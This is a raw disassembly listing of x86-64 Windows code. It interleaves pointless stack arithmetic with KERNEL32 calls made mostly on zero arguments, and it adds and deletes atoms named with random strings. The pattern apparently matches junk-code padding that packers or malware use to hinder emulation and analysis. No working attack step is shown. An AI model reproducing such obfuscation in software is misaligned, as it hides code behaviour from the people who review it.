call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x1fe28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
movzx eax, word [rsp + 0x2134]
mov rcx, qword [rsp + 0xd8d0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401c7130], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xce10]
mov rcx, qword [rsp + 0xc680]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa7c8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65c0], eax
mov rcx, qword [rsp + 0xda30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xdb40]
mov rax, qword [rax]
mov qword [rsp + 0xe408], rax
mov rax, qword [rsp + 0xc680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc18]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc8f0], rax
movzx ecx, word [rsp + 0x23fc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x260c], ax
movzx ecx, word [rsp + 0x1fa8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23a0], ax
movsx eax, word [rsp + 0x850]
movsx ecx, word [rsp + 0x1b20]
sar eax, cl
mov rcx, qword [rsp + 0xd8e8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x66d8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0xcfa0]
movzx ecx, al
mov rax, qword [rsp + 0xca08]
shl rax, cl
mov qword [rsp + 0x94d0], rax
mov rax, qword [rsp + 0xc720]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd978]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x3de], al
lea rcx, str.ZhW7
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2610], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x68dc], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov eax, dword [0x1401c8a18]
mov dword [rsp + 0x6998], eax
mov eax, dword [rsp + 0x6118]
mov ecx, dword [rsp + 0x5ff0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c0c], eax
lea rcx, [rsp + 0x20908]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x314]
mov qword [rsp + 0xe410], rax
mov rax, qword [rsp + 0xc408]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2500]
add eax, ecx
mov word [0x1401c703c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx eax, word [rsp + 0xddc]
mov rcx, qword [rsp + 0xd578]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x978], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
lea rcx, [rsp + 0x20728]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0xa5c]
mov rcx, qword [rsp + 0xca60]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2188], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rcx, [rsp + 0x1d890]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6750], eax
mov rax, qword [rsp + 0xbae0]
mov qword [rsp + 0xe418], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x668c], eax
mov rax, qword [rsp + 0xc590]
mov rcx, qword [rsp + 0xe1d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdc60], rax
mov rcx, qword [rsp + 0xe298]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64dc], eax
lea rcx, str.KauzQ_NE6_Ql_RB37d3
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2614], ax
movzx ecx, word [rsp + 0x1f74]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x234c], ax
mov rax, qword [rsp + 0xd138]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x61bc]
shr eax, cl
mov dword [rsp + 0x58b4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6870], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x255c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2348], ax
movsx eax, byte [rsp + 0x17d]
movsx ecx, byte [rsp + 0x39b]
shl eax, cl
mov rcx, qword [rsp + 0xe110]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
movsx eax, word [rsp + 0x223c]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1a34], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd908], rax
movzx eax, word [0x1401c7200]
mov word [rsp + 0x2618], ax
mov rax, qword [rsp + 0xd738]
mov rcx, qword [rsp + 0xc6b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1401c7218], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x699c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xde30], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6824], eax
mov rax, qword [rsp + 0xce38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd1b0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1eb0], ax
mov rax, qword [rsp + 0xc990]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd540]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb588], rax
movzx ecx, word [rsp + 0x1f60]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x255c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc680]
mov rcx, qword [rsp + 0xc540]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa048], rax
movzx ecx, word [rsp + 0x2218]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fe4], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6780], eax
mov rax, qword [rsp + 0xc4a0]
mov rcx, qword [rsp + 0xc210]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xca08], rax
mov rax, qword [rsp + 0xd660]
mov eax, dword [rax]
mov dword [rsp + 0x69a0], eax
mov rax, qword [rsp + 0xe368]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe3c0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1df], al
mov eax, dword [0x1401c8a1c]
mov ecx, dword [rsp + 0x597c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ce8], eax
movsx eax, byte [rsp + 0x2a2]
mov rcx, qword [rsp + 0xd090]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3f1], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xdb20]
movzx eax, word [rax]
mov word [0x1401c8e50], ax
mov rax, qword [rsp + 0xe400]
movzx eax, word [rax]
mov word [rsp + 0x261c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe420], rax
movzx eax, word [0x1401c71fc]
mov rcx, qword [rsp + 0xd600]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1074], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0xccf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x24f0]
add eax, ecx
mov rcx, qword [rsp + 0xc4a8]
mov word [rcx], ax
lea rax, [rsp + 0xd2]
mov qword [rsp + 0xe428], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0xdd98]
mov rcx, qword [rsp + 0xd180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb218], rax
lea rax, [rsp + 0x5650]
mov qword [rsp + 0xe430], rax
lea rcx, str.8_JhY6
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x260c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe438], rax
movzx ecx, word [rsp + 0x1f64]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fa4], ax
mov rcx, qword [rsp + 0xc458]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x20e8]
mov rcx, qword [rsp + 0xdf60]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1608], ax
mov rcx, qword [rsp + 0xda30]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x69a4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xdd38], rax
movzx eax, word [rsp + 0x2568]
movzx ecx, word [rsp + 0x2484]
add eax, ecx
mov word [rsp + 0x23e4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0xd648]
mov rcx, qword [rsp + 0xdbb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401c8c88], rax
mov rax, qword [0x1401c8aa0]
mov rax, qword [rax]
mov qword [rsp + 0xe440], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0xc580]
cqo
idiv qword [rsp + 0xded0]
mov qword [rsp + 0x9738], rax
mov rax, qword [rsp + 0x9ca0]
mov rcx, qword [rsp + 0xc130]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xade0], rax
movzx eax, word [0x1401c8b78]
mov rcx, qword [rsp + 0xd470]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x14a0], ax
lea rdx, [rsp + 0x25f80]
mov rcx, qword [rsp + 0xcf20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x69a8], eax
lea rcx, [rsp + 0x206c8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xdcc8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3e1]
sar eax, cl
mov rcx, qword [rsp + 0xc438]
mov byte [rcx], al
mov eax, dword [rsp + 0x6734]
mov dword [rsp + 0x69ac], eax
mov rax, qword [rsp + 0xd8b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd1c0]
shl rax, cl
mov qword [rsp + 0xd930], rax
mov eax, dword [rsp + 0x5a3c]
mov ecx, dword [rsp + 0x65e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ecc], eax
movsx eax, byte [0x1401c8a13]
mov rcx, qword [rsp + 0xde68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401c8a2a], al
movzx ecx, word [rsp + 0x2348]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23b8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xe400]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd98]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xe0c8]
mov word [rcx], ax
movsx eax, word [rsp + 0x2460]
mov rcx, qword [0x1401c8a38]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2148], ax
movzx eax, word [rsp + 0xaa0]
mov word [rsp + 0x2620], ax
mov rax, qword [rsp + 0x9640]
mov rcx, qword [rsp + 0xcda0]
mov qword [rsp + 0xe448], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe448]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xdf10]
mov qword [rcx], rax
lea rax, [rsp + 0x6634]
mov qword [rsp + 0xe450], rax
movzx ecx, word [rsp + 0x2268]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20e0], ax
mov rax, qword [rsp + 0xcac8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x380]
imul eax, ecx
mov byte [rsp + 0x3d8], al
mov rcx, qword [rsp + 0xd6f0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xddb0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6778], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xa1d8]
mov qword [rsp + 0xe458], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
movsx eax, word [rsp + 0xa10]
mov rcx, qword [rsp + 0xdd90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2184], ax
movzx eax, word [rsp + 0x222c]
mov word [0x1401c8e54], ax
mov rax, qword [rsp + 0xd2b8]
mov rcx, qword [rsp + 0xce28]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa5c0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe460], rax
mov rax, qword [rsp + 0xccf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdd00]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1dc8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0xc6a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5520]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc728]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x396]
mov byte [rsp + 0x400], al
movzx ecx, word [rsp + 0x20b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f64], ax
mov eax, dword [0x1401c8a18]
movzx ecx, al
mov eax, dword [rsp + 0x5b60]
shl eax, cl
mov dword [rsp + 0x5714], eax
mov rax, qword [rsp + 0xde98]
mov rcx, qword [rsp + 0xc378]
mov qword [rsp + 0xe468], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe468]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xc350]
mov qword [rcx], rax
lea rcx, [rsp + 0x20008]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, str.DG5Y4mgR
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2624], ax
mov rax, qword [rsp + 0xd978]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd090]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x64], al
mov edx, 0x2664
mov rcx, qword [rsp + 0xd2c8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x67b4], eax
movsx eax, word [0x1401c70c0]
mov rcx, qword [rsp + 0xd630]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2148], ax
movzx eax, word [rsp + 0x25bc]
movzx ecx, word [rsp + 0x148c]
add eax, ecx
mov word [0x1401c7220], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [0x1401c8c38]
mov rax, qword [rax]
mov qword [rsp + 0xe470], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe478], rax
mov rax, qword [rsp + 0xdf10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xab28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc960], rax
mov rax, qword [rsp + 0xe320]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x23b0]
sar eax, cl
mov word [rsp + 0x120c], ax
movzx eax, word [0x1401c7090]
mov word [rsp + 0x2628], ax
movsx eax, byte [rsp + 0x1e8]
mov rcx, qword [rsp + 0xc4f8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd170]
mov byte [rcx], al
mov rax, qword [rsp + 0xbfd8]
mov rcx, qword [rsp + 0xc5a8]
mov qword [rsp + 0xe480], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe480]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9b30], rax
movzx ecx, word [rsp + 0x2308]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23b4], ax
lea rcx, [rsp + 0x1fbe8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x6768]
mov ecx, dword [0x1401c8e40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6764], eax
mov rax, qword [rsp + 0xcf80]
mov rax, qword [rax]
imul rax, qword [rsp + 0xba40]
mov qword [rsp + 0xe2a8], rax
movsx eax, word [rsp + 0x1f50]
movsx ecx, word [0x1401c71c8]
sub eax, ecx
mov rcx, qword [0x1401c8b50]
mov word [rcx], ax
mov rax, qword [rsp + 0xdcd8]
movzx eax, word [rax]
mov word [rsp + 0x262c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe488], rax
movzx eax, byte [rsp + 0x104]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3d4], al
mov rax, qword [rsp + 0xd828]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6118]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b5c], eax
mov rax, qword [rsp + 0xcf80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd648]
mov qword [rsp + 0xe490], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe490]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x94c8], rax
mov rax, qword [rsp + 0xd498]
mov rax, qword [rax]
mov qword [rsp + 0xe498], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov eax, dword [rsp + 0x570c]
mov ecx, dword [rsp + 0x68bc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc6f0]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x2094]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x25fc], ax
mov rax, qword [rsp + 0xe110]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd090]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xf2], al
mov rax, qword [rsp + 0xd0f0]
movsx eax, word [rax]
movsx ecx, word [0x1401c8dc0]
sub eax, ecx
mov word [rsp + 0x1cf4], ax
movzx eax, word [rsp + 0xd38]
movzx ecx, word [rsp + 0x2314]
add eax, ecx
mov word [0x1401c7204], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0xce10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe220]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [0x1401c8ad8]
movzx eax, word [rax]
mov word [rsp + 0x2630], ax
mov rax, qword [rsp + 0xca78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x25d4]
sub eax, ecx
mov word [rsp + 0x198c], ax
mov rax, qword [rsp + 0xcc88]
mov rcx, qword [rsp + 0xccb0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcf38], rax
movzx eax, byte [0x1401c702a]
mov byte [rsp + 0x401], al
mov rax, qword [rsp + 0xb9a0]
mov rcx, qword [rsp + 0xde78]
mov qword [rsp + 0xe4a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe4a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xddb8], rax
mov eax, dword [0x1401c715c]
movzx ecx, al
mov eax, dword [rsp + 0x65d4]
shr eax, cl
mov dword [rsp + 0x59b8], eax
lea rcx, str.EeoJw8H.sddxcV_f6IC
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2634], ax
movzx eax, word [rsp + 0x2278]
movzx ecx, word [rsp + 0x190c]
add eax, ecx
mov word [rsp + 0x21cc], ax
mov rax, qword [rsp + 0xe2d0]
mov rax, qword [rax]
mov qword [0x1401c8e58], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0xcaf8]
mov ecx, dword [rsp + 0x5a24]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xe350]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movzx eax, byte [rsp + 0x3a9]
mov byte [rsp + 0x402], al
mov rax, qword [rsp + 0xd678]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc408]
mov word [rcx], ax
mov rax, qword [rsp + 0xd290]
movzx eax, word [rax]
mov rcx, qword [0x1401c8b90]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d78], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x2c2]
mov rcx, qword [rsp + 0xc8f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3b0], al
lea rcx, [rsp + 0x1fdc8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc590]
mov rax, qword [rax]
mov qword [rsp + 0xe4a8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov eax, dword [0x1401c7008]
mov rcx, qword [rsp + 0xdaf8]
mov qword [rsp + 0xe4b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe4b0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x55d8], eax
movsx eax, word [rsp + 0x2190]
mov rcx, qword [rsp + 0xca28]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1130], ax
lea rdx, [rsp + 0x26680]
mov rcx, qword [rsp + 0xd9d0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6718], eax
lea rcx, str.j_vO6s_PoYq7
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x25e4], ax
movzx eax, word [rsp + 0xf30]
movzx ecx, word [rsp + 0x2264]
or eax, ecx
mov rcx, qword [0x1401c8b90]
mov word [rcx], ax
mov edx, 0xad5
mov rcx, qword [rsp + 0xd6f8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x66c8], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x69b0], eax
mov rax, qword [rsp + 0xc738]
mov rax, qword [rax]
mov qword [rsp + 0xe4b8], rax
mov rax, qword [rsp + 0xdbf0]
mov rcx, qword [rsp + 0xe1e8]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xd448], rax
mov rax, qword [rsp + 0xd738]
mov rcx, qword [rsp + 0xe3d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xafa8], rax
lea rcx, [rsp + 0x1d688]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx ecx, word [rsp + 0x21bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2324], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe4c0], rax
movsx eax, word [rsp + 0x24ec]
movsx ecx, word [rsp + 0xa68]
add eax, ecx
mov rcx, qword [rsp + 0xdfb0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcc00], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0xcb58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9710]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9518], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6910], eax
mov rax, qword [0x1401c8a40]
mov eax, dword [rax]
mov dword [rsp + 0x69b4], eax
mov rax, qword [rsp + 0xc8e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x146]
shl eax, cl
mov rcx, qword [rsp + 0xdb70]
mov byte [rcx], al
mov r9d, 1
lea r8, [rsp + 0xc480]
mov rdx, qword [rsp + 0xccd0]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x69b8], eax
mov eax, dword [rsp + 0x665c]
mov rcx, qword [rsp + 0xd8f8]
mov qword [rsp + 0xe4c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe4c8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5fc4], eax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe000]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3c7], al
movsx eax, word [rsp + 0x22b0]
movsx ecx, word [rsp + 0x24ec]
xor eax, ecx
mov word [0x1401c7224], ax
mov rax, qword [rsp + 0xd740]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x252c]
and eax, ecx
mov word [rsp + 0x208c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xdf48], rax
movzx eax, word [rsp + 0x2628]
mov word [rsp + 0x2638], ax
mov rax, qword [rsp + 0xe0c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x94f0], rax
mov rax, qword [rsp + 0xd880]
movzx eax, byte [rax]
mov byte [rsp + 0x403], al
mov rax, qword [rsp + 0xc570]
mov eax, dword [rax]
imul eax, dword [rsp + 0x5db4]
mov dword [rsp + 0x66d4], eax
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa148]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe198]
mov qword [rcx], rax
movsx eax, word [0x1401c8bf4]
movsx ecx, word [rsp + 0x24c8]
shl eax, cl
mov word [rsp + 0xb08], ax
movzx eax, word [rsp + 0x22f8]
movzx ecx, word [rsp + 0x148c]
or eax, ecx
mov word [rsp + 0x217c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
lea rdx, [rsp + 0x264c0]
mov rcx, qword [rsp + 0xd7c0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x69bc], eax
mov r9d, 1
lea r8, [rsp + 0xd770]
mov rdx, qword [rsp + 0xd9c0]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x68b8], eax
mov rax, qword [rsp + 0xdd10]
mov qword [0x1401c8e60], rax
